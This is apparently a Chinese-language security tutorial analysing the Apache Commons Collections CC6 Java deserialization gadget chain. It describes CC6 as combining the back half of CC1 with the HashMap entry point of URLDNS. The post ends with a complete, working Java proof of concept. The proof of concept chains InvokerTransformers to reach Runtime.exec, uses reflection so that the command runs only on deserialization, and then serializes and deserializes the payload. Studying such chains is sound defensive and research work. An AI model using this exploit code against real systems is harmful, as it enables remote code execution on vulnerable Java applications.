CC6
在Java高版本,因为官方修改了AnnotationInvocationHandler的readObject方法,导致CC1无法在高版本的使用,cc6的出现就是为了解决高版本的利用问题。CC6不受 jdk 版本制约,用一句话介绍一下就是 CC6 = CC1 + URLDNS 即LazyMap版CC1的后半部分加上URLDNS的前半部分(HashMap)
找到TiedMapEntry
类中的getValue()
方法调用了LazyMap
的get()
方法
接下来寻找调用getValue的地方,寻找的方法也略提一嘴,因为getValue()
这一个方法是相当相当常见的,所以我们一般会优先找同一类下是否存在调用情况 。这里寻找到同名函数下的hashCode()
方法调用了getValue()
方法
如果在实战里面,在链子中找到了hashCode()
方法,说明我们的构造已经可以提前庆祝了
我们去找谁调用了hashCode()
方法,在 Java 反序列化当中,找到hashCode()
之后的链子用的基本都是这一条
1 2 3
| xxx.readObject() HashMap.put() --自动调用--> HashMap.hash() 后续利用链.hashCode()
|
更巧的是, HashMap 类本身就是一个非常完美的入口类
正如之前URLDNS链分析的一样,这条链子还有点问题:序列化的时候执行put()方法就已经执行命令
我们得先不让其进行命令执行,在反序列化的时候再命令执行。可以任意修改transformers、chainedTransformer、lazyMap
这里我们修改lazyMap,lazyMap中之前传进去的参数是chainedTransformer
,我们在序列化的时候传进去一个没用的东西,再在反序列化的时候通过反射,将其修改回chainedTransformer
还有就是map2调用put()的时候会增加个key,put完要删掉,不然反序列化的时候key值存在就不会进行transform方法了
用lazyMap.remove(“key”) 或者 lazyMap.clear() 都可以
构造完成,成功执行
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC6_test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa"); HashMap<Object,Object> map2 = new HashMap<>(); map2.put(tiedMapEntry,"bbb");
lazyMap.remove("aaa");
Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer);
serialize(map2); unserialize("ser.bin"); }
public static void serialize(Object obj) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); }
public static Object unserialize(String Filename) throws Exception { ObjectInputStream ois =new ObjectInputStream(new FileInputStream(Filename)); Object obj=ois.readObject(); return obj; } }
|